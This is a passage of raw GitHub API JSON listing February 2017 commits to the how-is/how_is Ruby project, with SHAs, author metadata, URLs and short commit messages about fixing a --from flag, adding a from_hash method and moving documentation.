CHANGELOG.md.","tree":{"sha":"e986c878617e21e498ae6fcf66d0078b545a898f","url":"https://api.github.com/repos/how-is/how_is/git/trees/e986c878617e21e498ae6fcf66d0078b545a898f"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/1006337c85ada23f14180ff19099db18bf9a018f","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/1006337c85ada23f14180ff19099db18bf9a018f","html_url":"https://github.com/how-is/how_is/commit/1006337c85ada23f14180ff19099db18bf9a018f","comments_url":"https://api.github.com/repos/how-is/how_is/commits/1006337c85ada23f14180ff19099db18bf9a018f/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"22863c31fea5b027860a3ddaa4fd86c679b68a90","url":"https://api.github.com/repos/how-is/how_is/commits/22863c31fea5b027860a3ddaa4fd86c679b68a90","html_url":"https://github.com/how-is/how_is/commit/22863c31fea5b027860a3ddaa4fd86c679b68a90"}]},{"sha":"22863c31fea5b027860a3ddaa4fd86c679b68a90","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MjI4NjNjMzFmZWE1YjAyNzg2MGEzZGRhYTRmZDg2YzY3OWI2OGE5MA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-24T20:16:00Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-02-24T20:16:00Z"},"message":"Merge pull request #144 from how-is/add-from-hash\n\nAdd HowIs.from_hash method","tree":{"sha":"6e3ea7b70c3f86b68a04846e9529202cfb218693","url":"https://api.github.com/repos/how-is/how_is/git/trees/6e3ea7b70c3f86b68a04846e9529202cfb218693"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/22863c31fea5b027860a3ddaa4fd86c679b68a90","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/22863c31fea5b027860a3ddaa4fd86c679b68a90","html_url":"https://github.com/how-is/how_is/commit/22863c31fea5b027860a3ddaa4fd86c679b68a90","comments_url":"https://api.github.com/repos/how-is/how_is/commits/22863c31fea5b027860a3ddaa4fd86c679b68a90/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"02eeef1e9c5ecd82a4163d1be548bebe1cb58135","url":"https://api.github.com/repos/how-is/how_is/commits/02eeef1e9c5ecd82a4163d1be548bebe1cb58135","html_url":"https://github.com/how-is/how_is/commit/02eeef1e9c5ecd82a4163d1be548bebe1cb58135"},{"sha":"9278dd2286037b114c7fd7432ffe7be48931164c","url":"https://api.github.com/repos/how-is/how_is/commits/9278dd2286037b114c7fd7432ffe7be48931164c","html_url":"https://github.com/how-is/how_is/commit/9278dd2286037b114c7fd7432ffe7be48931164c"}]},{"sha":"02eeef1e9c5ecd82a4163d1be548bebe1cb58135","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MDJlZWVmMWU5YzVlY2Q4MmE0MTYzZDFiZTU0OGJlYmUxY2I1ODEzNQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-15T02:19:59Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-02-15T02:19:59Z"},"message":"Merge pull request #143 from how-is/move-docs-to-readme\n\nMove documentation from design/ to README.","tree":{"sha":"1040df210ff6bf88ad3a0a6071ec43ca49eb9797","url":"https://api.github.com/repos/how-is/how_is/git/trees/1040df210ff6bf88ad3a0a6071ec43ca49eb9797"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/02eeef1e9c5ecd82a4163d1be548bebe1cb58135","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/02eeef1e9c5ecd82a4163d1be548bebe1cb58135","html_url":"https://github.com/how-is/how_is/commit/02eeef1e9c5ecd82a4163d1be548bebe1cb58135","comments_url":"https://api.github.com/repos/how-is/how_is/commits/02eeef1e9c5ecd82a4163d1be548bebe1cb58135/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"6377f6f1d4f258063361ef7f7fb01ed0bfc52d85","url":"https://api.github.com/repos/how-is/how_is/commits/6377f6f1d4f258063361ef7f7fb01ed0bfc52d85","html_url":"https://github.com/how-is/how_is/commit/6377f6f1d4f258063361ef7f7fb01ed0bfc52d85"},{"sha":"a5b1cae37c01b83f35f9dde09dda619f08ef1eda","url":"https://api.github.com/repos/how-is/how_is/commits/a5b1cae37c01b83f35f9dde09dda619f08ef1eda","html_url":"https://github.com/how-is/how_is/commit/a5b1cae37c01b83f35f9dde09dda619f08ef1eda"}]},{"sha":"a5b1cae37c01b83f35f9dde09dda619f08ef1eda","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YTViMWNhZTM3YzAxYjgzZjM1ZjlkZGUwOWRkYTYxOWYwOGVmMWVkYQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-15T02:17:39Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-15T02:17:39Z"},"message":"Move documentation from design/ to README.","tree":{"sha":"1040df210ff6bf88ad3a0a6071ec43ca49eb9797","url":"https://api.github.com/repos/how-is/how_is/git/trees/1040df210ff6bf88ad3a0a6071ec43ca49eb9797"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/a5b1cae37c01b83f35f9dde09dda619f08ef1eda","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/a5b1cae37c01b83f35f9dde09dda619f08ef1eda","html_url":"https://github.com/how-is/how_is/commit/a5b1cae37c01b83f35f9dde09dda619f08ef1eda","comments_url":"https://api.github.com/repos/how-is/how_is/commits/a5b1cae37c01b83f35f9dde09dda619f08ef1eda/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"6377f6f1d4f258063361ef7f7fb01ed0bfc52d85","url":"https://api.github.com/repos/how-is/how_is/commits/6377f6f1d4f258063361ef7f7fb01ed0bfc52d85","html_url":"https://github.com/how-is/how_is/commit/6377f6f1d4f258063361ef7f7fb01ed0bfc52d85"}]},{"sha":"6377f6f1d4f258063361ef7f7fb01ed0bfc52d85","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NjM3N2Y2ZjFkNGYyNTgwNjMzNjFlZjdmN2ZiMDFlZDBiZmM1MmQ4NQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-15T02:02:24Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-02-15T02:02:24Z"},"message":"Merge pull request #141 from how-is/from_file\n\nFix --from.","tree":{"sha":"cf45bc5750fbc390f533bddf74f453a67342b799","url":"https://api.github.com/repos/how-is/how_is/git/trees/cf45bc5750fbc390f533bddf74f453a67342b799"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/6377f6f1d4f258063361ef7f7fb01ed0bfc52d85","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/6377f6f1d4f258063361ef7f7fb01ed0bfc52d85","html_url":"https://github.com/how-is/how_is/commit/6377f6f1d4f258063361ef7f7fb01ed0bfc52d85","comments_url":"https://api.github.com/repos/how-is/how_is/commits/6377f6f1d4f258063361ef7f7fb01ed0bfc52d85/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"79bd30a822b2b1c6b3440a6b29eb0734401b653e","url":"https://api.github.com/repos/how-is/how_is/commits/79bd30a822b2b1c6b3440a6b29eb0734401b653e","html_url":"https://github.com/how-is/how_is/commit/79bd30a822b2b1c6b3440a6b29eb0734401b653e"},{"sha":"2fd38473ff5232798ccc4e3c32088f8d52fce1ba","url":"https://api.github.com/repos/how-is/how_is/commits/2fd38473ff5232798ccc4e3c32088f8d52fce1ba","html_url":"https://github.com/how-is/how_is/commit/2fd38473ff5232798ccc4e3c32088f8d52fce1ba"}]},{"sha":"2fd38473ff5232798ccc4e3c32088f8d52fce1ba","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MmZkMzg0NzNmZjUyMzI3OThjY2M0ZTNjMzIwODhmOGQ1MmZjZTFiYQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-15T01:38:15Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-15T01:38:15Z"},"message":"Remove dead code; update comment.","tree":{"sha":"cf45bc5750fbc390f533bddf74f453a67342b799","url":"https://api.github.com/repos/how-is/how_is/git/trees/cf45bc5750fbc390f533bddf74f453a67342b799"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/2fd38473ff5232798ccc4e3c32088f8d52fce1ba","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/2fd38473ff5232798ccc4e3c32088f8d52fce1ba","html_url":"https://github.com/how-is/how_is/commit/2fd38473ff5232798ccc4e3c32088f8d52fce1ba","comments_url":"https://api.github.com/repos/how-is/how_is/commits/2fd38473ff5232798ccc4e3c32088f8d52fce1ba/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"2e12fb723915033f8150f757a82a261461fb7d26","url":"https://api.github.com/repos/how-is/how_is/commits/2e12fb723915033f8150f757a82a261461fb7d26","html_url":"https://github.com/how-is/how_is/commit/2e12fb723915033f8150f757a82a261461fb7d26"}]},{"sha":"2e12fb723915033f8150f757a82a261461fb7d26","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MmUxMmZiNzIzOTE1MDMzZjgxNTBmNzU3YTgyYTI2MTQ2MWZiN2QyNg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-15T01:36:50Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-15T01:36:50Z"},"message":"Refactor a bit and fix --from.","tree":{"sha":"8eb78f853edaada6cc58d6fd44c024c437436cb8","url":"https://api.github.com/repos/how-is/how_is/git/trees/8eb78f853edaada6cc58d6fd44c024c437436cb8"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/2e12fb723915033f8150f757a82a261461fb7d26","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/2e12fb723915033f8150f757a82a261461fb7d26","html_url":"https://github.com/how-is/how_is/commit/2e12fb723915033f8150f757a82a261461fb7d26","comments_url":"https://api.github.com/repos/how-is/how_is/commits/2e12fb723915033f8150f757a82a261461fb7d26/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"d968a17b4d936a87369187ecf0b76645e9e05a1a","url":"https://api.github.com/repos/how-is/how_is/commits/d968a17b4d936a87369187ecf0b76645e9e05a1a","html_url":"https://github.com/how-is/how_is/commit/d968a17b4d936a87369187ecf0b76645e9e05a1a"}]},{"sha":"d968a17b4d936a87369187ecf0b76645e9e05a1a","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZDk2OGExN2I0ZDkzNmE4NzM2OTE4N2VjZjBiNzY2NDVlOWUwNWExYQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-15T00:51:40Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-15T00:51:40Z"},"message":"Fix --from spec.","tree":{"sha":"df3d54e4ff4dbcc8c21e77cc59ddd17de322b64a","url":"https://api.github.com/repos/how-is/how_is/git/trees/df3d54e4ff4dbcc8c21e77cc59ddd17de322b64a"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/d968a17b4d936a87369187ecf0b76645e9e05a1a","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/d968a17b4d936a87369187ecf0b76645e9e05a1a","html_url":"https://github.com/how-is/how_is/commit/d968a17b4d936a87369187ecf0b76645e9e05a1a","comments_url":"https://api.github.com/repos/how-is/how_is/commits/d968a17b4d936a87369187ecf0b76645e9e05a1a/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"f1cf4fbddb8117434819378cfceb208035754a93","url":"https://api.github.com/repos/how-is/how_is/commits/f1cf4fbddb8117434819378cfceb208035754a93","html_url":"https://github.com/how-is/how_is/commit/f1cf4fbddb8117434819378cfceb208035754a93"}]},{"sha":"f1cf4fbddb8117434819378cfceb208035754a93","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZjFjZjRmYmRkYjgxMTc0MzQ4MTkzNzhjZmNlYjIwODAzNTc1NGE5Mw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-15T00:50:58Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-15T00:50:58Z"},"message":"Add spec for --from flag.","tree":{"sha":"d2ee669a22dbcc514fce000d619ea44c393b8a4e","url":"https://api.github.com/repos/how-is/how_is/git/trees/d2ee669a22dbcc514fce000d619ea44c393b8a4e"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/f1cf4fbddb8117434819378cfceb208035754a93","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/f1cf4fbddb8117434819378cfceb208035754a93","html_url":"https://github.com/how-is/how_is/commit/f1cf4fbddb8117434819378cfceb208035754a93","comments_url":"https://api.github.com/repos/how-is/how_is/commits/f1cf4fbddb8117434819378cfceb208035754a93/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"79bd30a822b2b1c6b3440a6b29eb0734401b653e","url":"https://api.github.com/repos/how-is/how_is/commits/79bd30a822b2b1c6b3440a6b29eb0734401b653e","html_url":"https://github.com/how-is/how_is/commit/79bd30a822b2b1c6b3440a6b29eb0734401b653e"}]},{"sha":"79bd30a822b2b1c6b3440a6b29eb0734401b653e","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NzliZDMwYTgyMmIyYjFjNmIzNDQwYTZiMjllYjA3MzQ0MDFiNjUzZQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-02-14T23:22:23Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-02-14T23:22:23Z"},"message":"Merge pull request #139 from how-is/unpin-rack\n\nUnpin Rack version.","tree":{"sha":"dc60538c8219b532300b4754f191425e0a876413","url":"https://api.github.com/repos/how-is/how_is/git/trees/dc60538c8219b532300b4754f191425e0a876413"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/79bd30a822b2b1c6b3440a6b29eb0734401b653e","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/79bd30a822b2b1c6b3440a6b29eb0734401b653e","html_url":"https://github.com/how-is/how_is/commit/79bd30a822b2b1c6b3440a6b29eb0734401b653e","comments_url":"https://api.github.com/repos/how-is/how_is/commits/79bd30a822b2b1c6b3440a6b29eb0734401b653e/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/